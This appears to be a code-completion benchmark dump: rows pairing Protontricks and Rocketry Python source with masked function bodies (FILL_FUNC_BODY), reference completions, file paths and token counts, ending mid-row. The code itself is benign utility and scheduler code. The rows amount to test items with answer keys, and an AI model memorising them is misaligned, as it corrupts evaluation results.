def install_desktop_entries():
"""
Install the desktop entry files for Protontricks.
This should only be necessary when using an installation method that does
not support ... | parser = CustomArgumentParser(
description=(
"Install Protontricks application shortcuts for the local user\n"
),
formatter_class=argparse.RawTextHelpFormatter
)
# This doesn't really do much except accept `--help`
parser.parse_args(args)
print("Installing .desk... | """
'protontricks-desktop-install' script entrypoint
"""
parser = CustomArgumentParser(
description=(
"Install Protontricks application shortcuts for the local user\n"
),
formatter_class=argparse.RawTextHelpFormatter
)
# This doesn't really do much except acc... | 51 | 333 | 164 | 497 | import argparse
from pathlib import Path
from subprocess import run
import pkg_resources
from .util import CustomArgumentParser
def install_desktop_entries():
"""
Install the desktop entry files for Protontricks.
This should only be necessary when using an installation method that does
not support ... | import argparse
from pathlib import Path
from subprocess import run
import pkg_resources
from .util import CustomArgumentParser
def install_desktop_entries():
"""
Install the desktop entry files for Protontricks.
This should only be necessary when using an installation method that does
not support ... | |
29,942 | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks/src/protontricks/cli/util.py | 112,113 | 1,180 | exit_with_error | 120,147 | 113,147 | import argparse
import atexit
import functools
import logging
import os
import sys
import tempfile
import traceback
from pathlib import Path
from ..gui import show_text_dialog
def _get_log_file_path():
"""
Get the log file path to use for this Protontricks process.
"""
temp_dir = tempfile.gettempdir(... | import argparse
import atexit
import functools
import logging
import os
import sys
import tempfile
import traceback
from pathlib import Path
from ..gui import show_text_dialog
def _get_log_file_path():
"""
Get the log file path to use for this Protontricks process.
"""
temp_dir = tempfile.gettempdir(... | if not desktop:
print(error)
sys.exit(1)
try:
log_messages = _get_log_file_path().read_text()
except FileNotFoundError:
log_messages = "!! LOG FILE NOT FOUND !!"
# Display an error dialog containing the message
message = "".join([
"Protontricks was closed du... | """
Exit with an error, either by printing the error to stderr or displaying
an error dialog.
:param bool desktop: If enabled, display an error dialog containing
the error itself and additional log messages.
"""
if not desktop:
print(error)
sys.exit(1)
... | 61 | 1,279 | 239 | 1,518 | import argparse
import atexit
import functools
import logging
import os
import sys
import tempfile
import traceback
from pathlib import Path
from ..gui import show_text_dialog
def _get_log_file_path():
"""
Get the log file path to use for this Protontricks process.
"""
temp_dir = tempfile.gettempdir(... | import argparse
import atexit
import functools
import logging
import os
import sys
import tempfile
import traceback
from pathlib import Path
from ..gui import show_text_dialog
def _get_log_file_path():
"""
Get the log file path to use for this Protontricks process.
"""
temp_dir = tempfile.gettempdir(... | |
29,943 | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks/src/protontricks/cli/util.py | 176,177 | 171,180 | error | CustomArgumentParser | 177,180 | 177,180 | class CustomArgumentParser(argparse.ArgumentParser):
"""
Custom argument parser that prints the full help message
when incorrect parameters are provided
"""
def error(self, message):
FILL_FUNC_BODY | class CustomArgumentParser(argparse.ArgumentParser):
"""
Custom argument parser that prints the full help message
when incorrect parameters are provided
"""
def error(self, message):
FILL_FUNC_BODY | self.print_help(sys.stderr)
args = {'prog': self.prog, 'message': message}
self.exit(2, '%(prog)s: error: %(message)s\n' % args)
| self.print_help(sys.stderr)
args = {'prog': self.prog, 'message': message}
self.exit(2, '%(prog)s: error: %(message)s\n' % args)
| 13 | 55 | 62 | 117 | import argparse
import atexit
import functools
import logging
import os
import sys
import tempfile
import traceback
from pathlib import Path
from ..gui import show_text_dialog
def _get_log_file_path():
"""
Get the log file path to use for this Protontricks process.
"""
temp_dir = tempfile.gettempdir(... | import argparse
import atexit
import functools
import logging
import os
import sys
import tempfile
import traceback
from pathlib import Path
from ..gui import show_text_dialog
def _get_log_file_path():
"""
Get the log file path to use for this Protontricks process.
"""
temp_dir = tempfile.gettempdir(... |
29,944 | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks/src/protontricks/config.py | 48,49 | 1,53 | get_config | 52,53 | 49,53 | import configparser
import logging
import os
from pathlib import Path
logger = logging.getLogger("protontricks")
class Config:
def __init__(self):
self._parser = configparser.ConfigParser()
self._path = Path(
os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")
) / "prot... | import configparser
import logging
import os
from pathlib import Path
logger = logging.getLogger("protontricks")
class Config:
def __init__(self):
self._parser = configparser.ConfigParser()
self._path = Path(
os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")
) / "prot... | return Config()
| """
Retrieve the Protontricks configuration file
"""
return Config()
| 2 | 410 | 6 | 416 | import configparser
import logging
import os
from pathlib import Path
logger = logging.getLogger("protontricks")
class Config:
def __init__(self):
self._parser = configparser.ConfigParser()
self._path = Path(
os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")
) / "prot... | import configparser
import logging
import os
from pathlib import Path
logger = logging.getLogger("protontricks")
class Config:
def __init__(self):
self._parser = configparser.ConfigParser()
self._path = Path(
os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")
) / "prot... | |
29,945 | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks/src/protontricks/config.py | 22,23 | 9,48 | get | Config | 26,29 | 23,29 | class Config:
def __init__(self):
self._parser = configparser.ConfigParser()
self._path = Path(
os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")
) / "protontricks" / "config.ini"
try:
content = self._path.read_text(encoding="utf-8")
self... | class Config:
def __init__(self):
self._parser = configparser.ConfigParser()
self._path = Path(
os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")
) / "protontricks" / "config.ini"
try:
content = self._path.read_text(encoding="utf-8")
self... | self._parser.setdefault(section, {})
return self._parser[section].get(option, default)
| """
Get the configuration value in the given section and its field
"""
self._parser.setdefault(section, {})
return self._parser[section].get(option, default)
| 5 | 326 | 32 | 358 | import configparser
import logging
import os
from pathlib import Path
logger = logging.getLogger("protontricks")
class Config:
def __init__(self):
self._parser = configparser.ConfigParser()
self._path = Path(
os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")
) / "prot... | import configparser
import logging
import os
from pathlib import Path
logger = logging.getLogger("protontricks")
class Config:
def __init__(self):
self._parser = configparser.ConfigParser()
self._path = Path(
os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")
) / "prot... |
29,946 | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks/src/protontricks/flatpak.py | 53,54 | 1,174 | _get_xdg_user_dir | 59,73 | 54,73 | import configparser
import logging
import os
import re
import subprocess
from pathlib import Path
__all__ = (
"FLATPAK_BWRAP_COMPATIBLE_VERSION", "FLATPAK_INFO_PATH",
"is_flatpak_sandbox", "get_running_flatpak_version",
"get_inaccessible_paths"
)
logger = logging.getLogger("protontricks")
# Flatpak minim... | import configparser
import logging
import os
import re
import subprocess
from pathlib import Path
__all__ = (
"FLATPAK_BWRAP_COMPATIBLE_VERSION", "FLATPAK_INFO_PATH",
"is_flatpak_sandbox", "get_running_flatpak_version",
"get_inaccessible_paths"
)
logger = logging.getLogger("protontricks")
# Flatpak minim... | if permission in _XDG_PERMISSIONS:
# This will only be called in a Flatpak environment, and we can assume
# 'xdg-user-dir' always exists in that environment.
path = subprocess.check_output(
["xdg-user-dir", _XDG_PERMISSIONS[permission]]
)
path = path.strip()
... | """
Get the XDG user directory corresponding to the given "xdg-" prefixed
Flatpak permission and retrieve its absolute path using the `xdg-user-dir`
command.
"""
if permission in _XDG_PERMISSIONS:
# This will only be called in a Flatpak environment, and we can assume
# 'xdg-user-... | 49 | 1,403 | 155 | 1,558 | import configparser
import logging
import os
import re
import subprocess
from pathlib import Path
__all__ = (
"FLATPAK_BWRAP_COMPATIBLE_VERSION", "FLATPAK_INFO_PATH",
"is_flatpak_sandbox", "get_running_flatpak_version",
"get_inaccessible_paths"
)
logger = logging.getLogger("protontricks")
# Flatpak minim... | import configparser
import logging
import os
import re
import subprocess
from pathlib import Path
__all__ = (
"FLATPAK_BWRAP_COMPATIBLE_VERSION", "FLATPAK_INFO_PATH",
"is_flatpak_sandbox", "get_running_flatpak_version",
"get_inaccessible_paths"
)
logger = logging.getLogger("protontricks")
# Flatpak minim... | |
29,950 | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks | /home/hieuvd/dung_repo/raw/stars_02/Matoking_protontricks/protontricks/src/protontricks/winetricks.py | 11,12 | 1,41 | get_winetricks_path | 15,41 | 12,41 | import logging
import os
import shutil
from pathlib import Path
__all__ = ("get_winetricks_path",)
logger = logging.getLogger("protontricks")
def get_winetricks_path():
FILL_FUNC_BODY | import logging
import os
import shutil
from pathlib import Path
__all__ = ("get_winetricks_path",)
logger = logging.getLogger("protontricks")
def get_winetricks_path():
"""
Return to the path to 'winetricks' executable or return None if not found
"""
FILL_FUNC_BODY | if os.environ.get('WINETRICKS'):
path = Path(os.environ["WINETRICKS"])
logger.info(
"Winetricks path is set to %s", str(path)
)
if not path.is_file():
logger.error(
"The WINETRICKS path is invalid, please make sure "
"Winetricks... | """
Return to the path to 'winetricks' executable or return None if not found
"""
if os.environ.get('WINETRICKS'):
path = Path(os.environ["WINETRICKS"])
logger.info(
"Winetricks path is set to %s", str(path)
)
if not path.is_file():
logger.error(
... | 67 | 93 | 242 | 335 | import logging
import os
import shutil
from pathlib import Path
__all__ = ("get_winetricks_path",)
logger = logging.getLogger("protontricks")
def get_winetricks_path():
FILL_FUNC_BODY | import logging
import os
import shutil
from pathlib import Path
__all__ = ("get_winetricks_path",)
logger = logging.getLogger("protontricks")
def get_winetricks_path():
"""
Return to the path to 'winetricks' executable or return None if not found
"""
FILL_FUNC_BODY | |
29,951 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demo.py | 12,14 | 1,29 | do_twice_a_day | 15,19 | 14,19 | from rocketry import Rocketry
from rocketry.args import Return
app = Rocketry()
@app.task('daily')
def do_daily():
"This function runs once a day"
...
@app.task('daily between 07:00 and 10:00 | daily between 16:00 and 20:00')
def do_twice_a_day():
FILL_FUNC_BODY@app.task("after task 'do_daily'")
def do_afte... | from rocketry import Rocketry
from rocketry.args import Return
app = Rocketry()
@app.task('daily')
def do_daily():
"This function runs once a day"
...
@app.task('daily between 07:00 and 10:00 | daily between 16:00 and 20:00')
def do_twice_a_day():
"This function runs twice a day (in the morning and in t... | # The '|' means OR operator. Fully supports logical operations.
...
| "This function runs twice a day (in the morning and in the afternoon)"
# The '|' means OR operator. Fully supports logical operations.
...
| 11 | 230 | 26 | 256 | from rocketry import Rocketry
from rocketry.args import Return
app = Rocketry()
@app.task('daily')
def do_daily():
"This function runs once a day"
...
@app.task('daily between 07:00 and 10:00 | daily between 16:00 and 20:00')
def do_twice_a_day():
FILL_FUNC_BODY@app.task("after task 'do_daily'")
def do_afte... | from rocketry import Rocketry
from rocketry.args import Return
app = Rocketry()
@app.task('daily')
def do_daily():
"This function runs once a day"
...
@app.task('daily between 07:00 and 10:00 | daily between 16:00 and 20:00')
def do_twice_a_day():
"This function runs twice a day (in the morning and in t... | |
29,952 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demo_basic.py | 9,11 | 1,15 | do_after_things | 11,13 | 11,13 | from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
...
@app.task("after task 'do_things'")
def do_after_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
...
@app.task("after task 'do_things'")
def do_after_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| ...
| ...
| 1 | 85 | 6 | 91 | from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
...
@app.task("after task 'do_things'")
def do_after_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
...
@app.task("after task 'do_things'")
def do_after_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| |
29,953 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demos/advanced.py | 20,22 | 1,59 | get_item | 22,29 | 22,29 | from rocketry import Rocketry
from rocketry.args import Return, Arg
app = Rocketry()
# Custom Condition
# ----------------
@app.cond('is foo')
def is_foo():
# This is a custom condition
...
return True
# Parameters
# ----------
app.params(my_arg='Hello')
@app.param('item')
def get_item():
FILL_FUNC_BO... | from rocketry import Rocketry
from rocketry.args import Return, Arg
app = Rocketry()
# Custom Condition
# ----------------
@app.cond('is foo')
def is_foo():
# This is a custom condition
...
return True
# Parameters
# ----------
app.params(my_arg='Hello')
@app.param('item')
def get_item():
FILL_FUNC_BO... | # This is a custom condition
...
return 'world'
# Tasks
# -----
| # This is a custom condition
...
return 'world'
# Tasks
# -----
| 13 | 405 | 34 | 439 | from rocketry import Rocketry
from rocketry.args import Return, Arg
app = Rocketry()
# Custom Condition
# ----------------
@app.cond('is foo')
def is_foo():
# This is a custom condition
...
return True
# Parameters
# ----------
app.params(my_arg='Hello')
@app.param('item')
def get_item():
FILL_FUNC_BO... | from rocketry import Rocketry
from rocketry.args import Return, Arg
app = Rocketry()
# Custom Condition
# ----------------
@app.cond('is foo')
def is_foo():
# This is a custom condition
...
return True
# Parameters
# ----------
app.params(my_arg='Hello')
@app.param('item')
def get_item():
FILL_FUNC_BO... | |
29,954 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demos/basic.py | 9,11 | 1,15 | do_after_things | 11,13 | 11,13 | from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
...
@app.task("after task 'do_things'")
def do_after_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
...
@app.task("after task 'do_things'")
def do_after_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| ...
| ...
| 1 | 85 | 6 | 91 | from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
...
@app.task("after task 'do_things'")
def do_after_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
...
@app.task("after task 'do_things'")
def do_after_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| |
29,955 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demos/fast_api/scheduler.py | 9,11 | 1,15 | do_stuff | 11,13 | 11,13 | from rocketry import Rocketry
app = Rocketry(execution="async")
@app.task('every 20 seconds')
async def do_things():
...
@app.task('every 5 seconds')
async def do_stuff():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
app = Rocketry(execution="async")
@app.task('every 20 seconds')
async def do_things():
...
@app.task('every 5 seconds')
async def do_stuff():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| ...
| ...
| 1 | 91 | 6 | 97 | from rocketry import Rocketry
app = Rocketry(execution="async")
@app.task('every 20 seconds')
async def do_things():
...
@app.task('every 5 seconds')
async def do_stuff():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
app = Rocketry(execution="async")
@app.task('every 20 seconds')
async def do_things():
...
@app.task('every 5 seconds')
async def do_stuff():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| |
29,956 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demos/intermediate.py | 19,22 | 1,52 | do_complex | 23,27 | 22,27 | from rocketry import Rocketry
from rocketry.args import Return, Session, Arg, FuncArg
from rocketry.conds import daily, time_of_week, after_success
app = Rocketry()
@app.cond()
def is_foo():
"This is a custom condition"
...
return True
@app.task(daily & is_foo)
def do_daily():
"This task runs once a ... | from rocketry import Rocketry
from rocketry.args import Return, Session, Arg, FuncArg
from rocketry.conds import daily, time_of_week, after_success
app = Rocketry()
@app.cond()
def is_foo():
"This is a custom condition"
...
return True
@app.task(daily & is_foo)
def do_daily():
"This task runs once a ... | ...
return ...
| "This task runs on complex interval and on separate process"
...
return ...
| 3 | 445 | 13 | 458 | from rocketry import Rocketry
from rocketry.args import Return, Session, Arg, FuncArg
from rocketry.conds import daily, time_of_week, after_success
app = Rocketry()
@app.cond()
def is_foo():
"This is a custom condition"
...
return True
@app.task(daily & is_foo)
def do_daily():
"This task runs once a ... | from rocketry import Rocketry
from rocketry.args import Return, Session, Arg, FuncArg
from rocketry.conds import daily, time_of_week, after_success
app = Rocketry()
@app.cond()
def is_foo():
"This is a custom condition"
...
return True
@app.task(daily & is_foo)
def do_daily():
"This task runs once a ... | |
29,957 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demos/minimal.py | 5,7 | 1,11 | do_things | 7,9 | 7,9 | from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| ...
| ...
| 1 | 59 | 6 | 65 | from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
app = Rocketry()
@app.task('daily')
def do_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| |
29,958 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demos/minimal_async.py | 10,11 | 1,18 | main | 12,16 | 11,16 | import asyncio
from rocketry import Rocketry
app = Rocketry(execution="async")
@app.task()
async def do_things():
...
async def main():
FILL_FUNC_BODYif __name__ == "__main__":
asyncio.run(main())
| import asyncio
from rocketry import Rocketry
app = Rocketry(execution="async")
@app.task()
async def do_things():
...
async def main():
"Launch Rocketry app (and possibly something else)"
FILL_FUNC_BODYif __name__ == "__main__":
asyncio.run(main())
| rocketry_task = asyncio.create_task(app.serve())
# Start possibly other async apps
await rocketry_task
| "Launch Rocketry app (and possibly something else)"
rocketry_task = asyncio.create_task(app.serve())
# Start possibly other async apps
await rocketry_task
| 11 | 93 | 38 | 131 | import asyncio
from rocketry import Rocketry
app = Rocketry(execution="async")
@app.task()
async def do_things():
...
async def main():
FILL_FUNC_BODYif __name__ == "__main__":
asyncio.run(main())
| import asyncio
from rocketry import Rocketry
app = Rocketry(execution="async")
@app.task()
async def do_things():
...
async def main():
"Launch Rocketry app (and possibly something else)"
FILL_FUNC_BODYif __name__ == "__main__":
asyncio.run(main())
| |
29,959 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/demos/minimal_with_api.py | 6,8 | 1,12 | do_things | 8,10 | 8,10 | from rocketry import Rocketry
from rocketry.conds import daily
app = Rocketry()
@app.task(daily)
def do_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
from rocketry.conds import daily
app = Rocketry()
@app.task(daily)
def do_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| ...
| ...
| 1 | 68 | 6 | 74 | from rocketry import Rocketry
from rocketry.conds import daily
app = Rocketry()
@app.task(daily)
def do_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| from rocketry import Rocketry
from rocketry.conds import daily
app = Rocketry()
@app.task(daily)
def do_things():
FILL_FUNC_BODYif __name__ == "__main__":
app.run()
| |
29,960 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/parameter/parameters.py | 14,16 | 1,28 | do_with_return | 16,20 | 16,20 | from rocketry import Rocketry
from rocketry.args import Arg, Return, FuncArg
app = Rocketry()
app.params(my_arg='hello')
@app.task("every 10 seconds")
def do_things(arg=Arg('my_arg')):
# Argument 'arg' has value 'hello'
assert arg == 'hello'
return 'stuff'
@app.task("after task 'do_things'")
def do_with... | from rocketry import Rocketry
from rocketry.args import Arg, Return, FuncArg
app = Rocketry()
app.params(my_arg='hello')
@app.task("every 10 seconds")
def do_things(arg=Arg('my_arg')):
# Argument 'arg' has value 'hello'
assert arg == 'hello'
return 'stuff'
@app.task("after task 'do_things'")
def do_with... |
# Argument 'arg' is the return value of the task 'do_things'
assert arg == 'stuff'
|
# Argument 'arg' is the return value of the task 'do_things'
assert arg == 'stuff'
| 15 | 224 | 35 | 259 | from rocketry import Rocketry
from rocketry.args import Arg, Return, FuncArg
app = Rocketry()
app.params(my_arg='hello')
@app.task("every 10 seconds")
def do_things(arg=Arg('my_arg')):
# Argument 'arg' has value 'hello'
assert arg == 'hello'
return 'stuff'
@app.task("after task 'do_things'")
def do_with... | from rocketry import Rocketry
from rocketry.args import Arg, Return, FuncArg
app = Rocketry()
app.params(my_arg='hello')
@app.task("every 10 seconds")
def do_things(arg=Arg('my_arg')):
# Argument 'arg' has value 'hello'
assert arg == 'hello'
return 'stuff'
@app.task("after task 'do_things'")
def do_with... | |
29,961 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/docs/code/snippets/custom_condition.py | 12,14 | 1,19 | do_things | 15,17 | 14,17 | from pathlib import Path
from rocketry import Rocketry
from rocketry.conds import daily
app = Rocketry()
@app.cond()
def file_exists(file):
"Custom condition that checks if file exists"
return Path(file).exists()
@app.task(daily & file_exists("data.csv"))
def do_things():
FILL_FUNC_BODYif __name__ == "__main... | from pathlib import Path
from rocketry import Rocketry
from rocketry.conds import daily
app = Rocketry()
@app.cond()
def file_exists(file):
"Custom condition that checks if file exists"
return Path(file).exists()
@app.task(daily & file_exists("data.csv"))
def do_things():
"Task that runs once a day when ... | ...
| "Task that runs once a day when data.csv exists"
...
| 1 | 132 | 6 | 138 | from pathlib import Path
from rocketry import Rocketry
from rocketry.conds import daily
app = Rocketry()
@app.cond()
def file_exists(file):
"Custom condition that checks if file exists"
return Path(file).exists()
@app.task(daily & file_exists("data.csv"))
def do_things():
FILL_FUNC_BODYif __name__ == "__main... | from pathlib import Path
from rocketry import Rocketry
from rocketry.conds import daily
app = Rocketry()
@app.cond()
def file_exists(file):
"Custom condition that checks if file exists"
return Path(file).exists()
@app.task(daily & file_exists("data.csv"))
def do_things():
"Task that runs once a day when ... | |
29,962 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/_setup.py | 11,12 | 1,37 | _setup_defaults | 13,37 | 12,37 | from rocketry.core import BaseCondition, Task
from rocketry.session import Session, Config
from rocketry.parse import add_condition_parser
from rocketry.conds import true, false
from rocketry.tasks import CommandTask, FuncTask, CodeTask
from rocketry.tasks.maintain import ShutDown, Restart
from rocketry.conditions.me... | from rocketry.core import BaseCondition, Task
from rocketry.session import Session, Config
from rocketry.parse import add_condition_parser
from rocketry.conds import true, false
from rocketry.tasks import CommandTask, FuncTask, CodeTask
from rocketry.tasks.maintain import ShutDown, Restart
from rocketry.conditions.me... |
# Add some extra parsers from core
add_condition_parser({
"true": true,
"false": false,
"always false": false,
"always true": true
})
# Update type hints
cls_tasks = (
Task,
FuncTask, CommandTask, CodeTask,
ShutDown, Restart,
_FuncTa... | "Set up the task classes and conditions Rocketry provides out-of-the-box"
# Add some extra parsers from core
add_condition_parser({
"true": true,
"false": false,
"always false": false,
"always true": true
})
# Update type hints
cls_tasks = (
Task,
... | 47 | 134 | 219 | 353 | from rocketry.core import BaseCondition, Task
from rocketry.session import Session, Config
from rocketry.parse import add_condition_parser
from rocketry.conds import true, false
from rocketry.tasks import CommandTask, FuncTask, CodeTask
from rocketry.tasks.maintain import ShutDown, Restart
from rocketry.conditions.me... | from rocketry.core import BaseCondition, Task
from rocketry.session import Session, Config
from rocketry.parse import add_condition_parser
from rocketry.conds import true, false
from rocketry.tasks import CommandTask, FuncTask, CodeTask
from rocketry.tasks.maintain import ShutDown, Restart
from rocketry.conditions.me... | |
29,963 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/application.py | 82,83 | 45,93 | _set_logger_with_repo | Rocketry | 83,88 | 83,88 | class Rocketry(_AppMixin):
"""Rocketry scheduling application"""
def __init__(self, session:Session=None, logger_repo:Optional[BaseRepo]=None, **kwargs):
self.session = session if session is not None else Session(**kwargs)
logger = logging.getLogger(self.session.config.task_logger_basename)
... | class Rocketry(_AppMixin):
"""Rocketry scheduling application"""
def __init__(self, session:Session=None, logger_repo:Optional[BaseRepo]=None, **kwargs):
self.session = session if session is not None else Session(**kwargs)
logger = logging.getLogger(self.session.config.task_logger_basename)
... | if repo is None:
repo = MemoryRepo(model=LogRecord)
logger = self._get_task_logger()
logger.handlers.insert(0, RepoHandler(repo=repo))
| if repo is None:
repo = MemoryRepo(model=LogRecord)
logger = self._get_task_logger()
logger.handlers.insert(0, RepoHandler(repo=repo))
| 12 | 419 | 57 | 476 | import logging
from typing import List, Optional, Pattern, Union
import warnings
from redbird import BaseRepo
from redbird.logging import RepoHandler
from redbird.repos import MemoryRepo
from rocketry.log.log_record import LogRecord
from rocketry.conditions import FuncCond
from rocketry.parameters import FuncParam
fr... | import logging
from typing import List, Optional, Pattern, Union
import warnings
from redbird import BaseRepo
from redbird.logging import RepoHandler
from redbird.repos import MemoryRepo
from rocketry.log.log_record import LogRecord
from rocketry.conditions import FuncCond
from rocketry.parameters import FuncParam
fr... |
29,964 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/application.py | 34,35 | 14,45 | include_grouper | _AppMixin | 35,45 | 35,45 | class _AppMixin:
session: Session
def task(self, start_cond=None, name=None, **kwargs):
"Create a task"
return self.session.create_task(start_cond=start_cond, name=name, **kwargs)
def param(self, name:Optional[str]=None):
"Set one session parameter (decorator)"
return Func... | class _AppMixin:
session: Session
def task(self, start_cond=None, name=None, **kwargs):
"Create a task"
return self.session.create_task(start_cond=start_cond, name=name, **kwargs)
def param(self, name:Optional[str]=None):
"Set one session parameter (decorator)"
return Func... | for task in group.session.tasks:
if group.prefix:
task.name = group.prefix + task.name
if group.start_cond is not None:
task.start_cond &= group.start_cond
task.execution = group.execution if task.execution is None else task.execution
... | for task in group.session.tasks:
if group.prefix:
task.name = group.prefix + task.name
if group.start_cond is not None:
task.start_cond &= group.start_cond
task.execution = group.execution if task.execution is None else task.execution
... | 30 | 237 | 117 | 354 | import logging
from typing import List, Optional, Pattern, Union
import warnings
from redbird import BaseRepo
from redbird.logging import RepoHandler
from redbird.repos import MemoryRepo
from rocketry.log.log_record import LogRecord
from rocketry.conditions import FuncCond
from rocketry.parameters import FuncParam
fr... | import logging
from typing import List, Optional, Pattern, Union
import warnings
from redbird import BaseRepo
from redbird.logging import RepoHandler
from redbird.repos import MemoryRepo
from rocketry.log.log_record import LogRecord
from rocketry.conditions import FuncCond
from rocketry.parameters import FuncParam
fr... |
29,966 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 51,52 | 38,72 | get_value | Arg | 52,61 | 52,61 | class Arg(BaseArgument):
"""A simple argument got from the session
Parameters
----------
value : Any
Value of the argument.
"""
def __init__(self, key:Any, default:Union[NotSet, str]=NOTSET):
self.key = key
self.default = default
def get_value(self, task=None, sess... | class Arg(BaseArgument):
"""A simple argument got from the session
Parameters
----------
value : Any
Value of the argument.
"""
def __init__(self, key:Any, default:Union[NotSet, str]=NOTSET):
self.key = key
self.default = default
def get_value(self, task=None, sess... | if session is None:
session = task.session
try:
return session.parameters._get(self.key, task=task, session=session, **kwargs)
except KeyError:
if self.default is NOTSET:
raise
return self.default
| if session is None:
session = task.session
try:
return session.parameters._get(self.key, task=task, session=session, **kwargs)
except KeyError:
if self.default is NOTSET:
raise
return self.default
| 22 | 199 | 77 | 276 |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
import logging
import os
import sys
import threading
import warnings
from typing import Any, Callable, Optional, Union
from rocketry.core.log.adapter import TaskAdapter
try:
from typing import Literal
except ImportError: # pragma: no cover
from typing_extensions import Literal
from rocketry.core.task import T... |
29,967 | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry | /home/hieuvd/dung_repo/raw/stars_02/Miksus_rocketry/rocketry/rocketry/args/builtin.py | 304,305 | 292,315 | _get_arg | CliArg | 305,315 | 305,315 | class CliArg(BaseArgument):
"""Argument that has the value of a command line argument"""
